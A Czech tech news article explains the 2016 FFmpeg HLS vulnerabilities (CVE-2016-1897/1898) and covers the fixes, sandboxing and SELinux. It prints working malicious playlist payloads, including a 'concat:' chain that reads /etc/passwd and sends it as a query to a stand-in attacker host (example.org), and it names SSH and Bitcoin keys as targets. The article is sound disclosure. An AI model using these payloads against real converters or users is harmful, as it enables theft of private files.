Zranitelný FFmpeg: místo přehrávání videa odesílá soubory

Ondřej Caletka 18. 1. 2016

Ve frameworku FFmpeg, který pohání celou řadu multimediálních přehrávačů a konvertorů včetně webových prohlížečů, byla objevena kuriózní zranitelnost. Otevření speciálně upraveného souboru s videem vyvolá odeslání určeného souboru z disku útočníkovi. Jak přesně útok funguje a jak se bránit?

Projekt FFmpeg představuje univerzální framework pro přehrávání, záznam a streamování multimédií. Jeho funkce pro zakódování a dekódování nejrůznějších audio/video formátů je využívána v drtivé většině multimediálních přehrávačů, jako mpv, MPlayer nebo VLC, stejně jako populárního webového prohlížeče Chromium/Chrome. Samostatně pak disponuje konzolovou utilitou ffmpeg, která je hojně využívána při nejrůznějších automatizovaných konverzích video formátů.

Je zřejmé, že podpora velkého množství vstupních a výstupních formátů spolu s velkým množstvím kodeků vede na ohromné množství kódu (podle OpenHUB jde přibližně o milion řádků) s velkým potenciálem k chybám. Nově popsaný útok, který dostal identifikátory CVE-2016–1897 a CVE-2016–1898, však nevyužívá žádnou hrubou programátorskou chybu. Spíše jde o chytré použití existujících vstupních modulů pro jiný účel, než bylo zamýšleno, tedy hack v původním smyslu slova.

HTTP Live Streaming

Jedním z formátů, které jsou knihovnou FFmpeg podporovány, je protokol HTTP Live Streaming. Tento protokol byl vyvinut společností Apple pro streamování multimediálních dat prostřednictvím internetu. Specifikace protokolu je otevřená a již víc než šest let prochází procesem standardizace v IETF. Vzhledem k tomu, že jde nejspíše o jediný podporovaný formát streamingu na platformě Apple, stal se velmi rychle populární mezi video službami na webu a postupně vytlačuje zejména protokol RTMP používaný technologií Adobe Flash. Dodejme na okraj, že ke stejnému účelu existuje také mezinárodní standard MPEG-DASH, který je již několik let nasazen například na serveru YouTube.

Princip protokolu HLS spočívá v rozdělení přenášeného proudu na samostatné soubory formátu MPEG-TS. Z těchto segmentů je sestaveno několik playlistů formátu M3U8 s různým rozlišením a datovým tokem, které jsou odkazovány z hlavního playlistu. Přehrávač inteligentně stahuje jednotlivé segmenty, přičemž automaticky přechází mezi kvalitami videa podle velikosti okna přehrávače a rychlosti stahování jednotlivých částí. V případě živého vysílání klient stahuje playlisty opakovaně a získává tak odkazy na nové a nové segmenty.

Přípona obvykle nehraje roli

Důležitým faktorem útoku na FFmpeg je fakt, že při otevírání multimediálních souborů se řídí primárně jejich obsahem. Rozpozná-li po načtení prvních několika bajtů například hlavičku kontejneru Matroska, nasadí demultiplexer tohoto formátu bez ohledu na to, zda má soubor příponu mkv nebo třeba avi. Neplatí to ale absolutně; FFmpeg obsahuje například zvláštní režim přehrávání souborů s příponou .txt. Ty jsou převedeny na video, ve kterém se zobrazí obsah textového souboru.

Útok na webové video konvertory

Použitím dosud zmíněných ingrediencí je možné vykonat útok na nejrůznější webové konvertory video formátů, které na pozadí používají FFmpeg. Zajímá vás třeba, jakou IP adresu má server, na kterém konverze probíhá? Vytvořte soubor, třeba s příponou avi, s následujícím obsahem:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://ip-echo.ripe.net/#.txt
#EXT-X-ENDLIST 

Když se takový soubor pokusí FFmpeg přehrát, detekuje HLS playlist a začne přehrávat prezentované odkazy. Protože zde uvedený odkaz končí textem .txt, je obsah odkazu interpretován jako textový soubor a FFMpeg tedy vytvoří video obsahující text vrácený z daného odkazu.

Variací na takový útok je získání obsahu libovolného lokálního souboru, který je uživateli spouštějícímu FFmpeg dostupný. Stačí jen schéma http:// nahradit za file://. Zajímavé je, že takovýto útok na FFmpeg byl už v listopadu 2015 řešením jedné z úloh online šifrovací hry 9447 Security Society CTF.

Jak přehrávačem odeslat data?

Poslední ingrediencí, která proměňuje multimediální knihovnu v nástroj k vykrádání soukromých dat, je vstupní protokol concat . Jeho původním účelem je binární spojení několika vstupních souborů, aby se chovaly jako jeden. Útočník ve zlomyslném video souboru použije například následující odkaz na video:

concat:http://example.com/header.m3u8|file:///etc/passwd 

FFmpeg nejprve spojí obsah obou URL a teprve ten začne přehrávat. První ze souborů pak může obsahovat takovéto záhlaví HLS playlistu:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org? 

Přítomnost otazníku na konci souboru způsobí, že první řádek lokálního souboru /etc/passwd je odeslán jako dotaz na server útočníka. Útočník se nemusí omezovat pouze na první řádek. Pomocí jiného protokolu subfile je možné extrahovat z požadovaného souboru řádek od požadovaného bajtového ofsetu.

Pikantní je, že falešný multimediální soubor, který má vylákat data z klientského zařízení, vůbec nemusí být uživatelem aktivně otevřen. Stačí, když si ho všimne některý z indexovacích robotů, kteří na většině desktopových prostředí pomocí FFmpeg vyrábějí náhledové ikony video souborů.

Co je v ohrožení

Samotný popis zranitelnosti zní poměrně nebezpečně. Útok se týká pouze souborů čitelných uživatelem, který používá FFmpeg, takže v drtivé většině případů jsou systémová data v bezpečí. To by mohla být útěcha pro správně napsané webové služby konverze videa, které proces ffmpeg spouštějí v izolovaném prostředí. Pro běžné uživatele to žádnou útěchu nepředstavuje, jak vtipně před časem glosoval Randal Munroe:

Než cokoliv namítnete, ano, samozřejmě, že vím, že nemám počítač nechávat bez dozoru přihlášený ke všem svým účtům. Mám ho nastavený tak, že se po pár minutách nečinnosti automaticky přihlásí k účtům mého bratra.
Autor: Randal Munroe, překlad: xkcz, podle licence: CC BY-NC 2.5

V ohrožení jsou tak zejména soubory uložené na predikovatelných cestách. Z těch hodnotnějších například osobní SSH klíče, nebo třeba privátní klíče pro Bitcoinové peněženky. Pokud jste tedy nevyměňovali uživatelský SSH klíč po nedávné aféře s roamingem, je teď druhá příležitost.

Oprava je k dispozici

Ačkoli u tohoto bezpečnostního incidentu nedostali vývojáři čas navíc pro publikování opravy, zareagovali velmi rychle. Od soboty jsou k dispozici opravná vydání 2.8.5, 2.7.5, 2.6.7, 2.5.10. Oprava spočívá ve více striktní validaci URL v HLS playlistech (patch 1, 2), takže již například není povoleno použití schématu  file://.

Dočasnou opravu, kterou nasadili vývojáři Arch Linuxu, je zkompilování knihovny s vypnutou podporou pro síť. Taková oprava ovšem zároveň znamená ztrátu použitelnosti spousty utilit, které HLS používají, třeba youtube-dl.

widgety

Komplexní software obsahuje komplexní zranitelnosti

Takové je nejspíše poučení z celého incidentu. I při tak běžné činnosti, jakou je přehrávání videa, je třeba počítat s možnými vedlejšími efekty. Tato konkrétní zranitelnost je přitom ještě z těch mírnějších, neboť na rozdíl například od nedávné zranitelnosti knihovny Stagefright na OS Android neumožňuje spuštění útočníkova kódu.

Chyby, jako je tato, se jistě budou opakovat. Dobrou zprávou je, že nejsme zcela bezmocní ve zmírňování následků takových chyb. Má-li váš desktop správně nastaveno povinné řízení přístupu, třeba nástrojem SELinux, nemá multimediální knihovna v ideálním případě přístup k žádným citlivým datům.

Našli jste v článku chybu?
120na80.cz: Začněte s posilováním imunity

Začněte s posilováním imunity

DigiZone.cz: Světový pohár v přímém přenosu na ČT

Světový pohár v přímém přenosu na ČT

Podnikatel.cz: Letáky? Lidi zuří, ale ony stále fungují

Letáky? Lidi zuří, ale ony stále fungují

120na80.cz: Co je padesátkrát sladší než cukr?

Co je padesátkrát sladší než cukr?

Vitalia.cz: Muž, který miluje příliš. Ženám neimponuje

Muž, který miluje příliš. Ženám neimponuje

Lupa.cz: Patička e-mailu závazná jako vlastnoruční podpis?

Patička e-mailu závazná jako vlastnoruční podpis?

DigiZone.cz: Na jaká videa se vlastně díváme

Na jaká videa se vlastně díváme

Vitalia.cz: Voda z Vltavy před a po úpravě na pitnou

Voda z Vltavy před a po úpravě na pitnou

DigiZone.cz: Funbox 4K v DVB-T2 má ostrý provoz

Funbox 4K v DVB-T2 má ostrý provoz

DigiZone.cz: Parlamentní listy: kde končí PR...

Parlamentní listy: kde končí PR...

Vitalia.cz: dTest odhalil ten nejlepší kečup

dTest odhalil ten nejlepší kečup

Lupa.cz: Jak se prodává firma za miliardu?

Jak se prodává firma za miliardu?

Podnikatel.cz: Instalatér, malíř a elektrikář. "Vymřou"?

Instalatér, malíř a elektrikář. "Vymřou"?

DigiZone.cz: Samsung EVO-S: novinka pro Skylink

Samsung EVO-S: novinka pro Skylink

DigiZone.cz: Ginx TV: pořad o počítačových hráčích

Ginx TV: pořad o počítačových hráčích

Vitalia.cz: Tesco nabízí desítky tun jídla zdarma

Tesco nabízí desítky tun jídla zdarma

Vitalia.cz: Jak Ondra o astma přišel

Jak Ondra o astma přišel

Vitalia.cz: Test dětských svačinek: Tyhle ne!

Test dětských svačinek: Tyhle ne!

Podnikatel.cz: Znáte už 5 novinek k #EET

Znáte už 5 novinek k #EET

Lupa.cz: Blíží se konec Wi-Fi sítí bez hesla?

Blíží se konec Wi-Fi sítí bez hesla?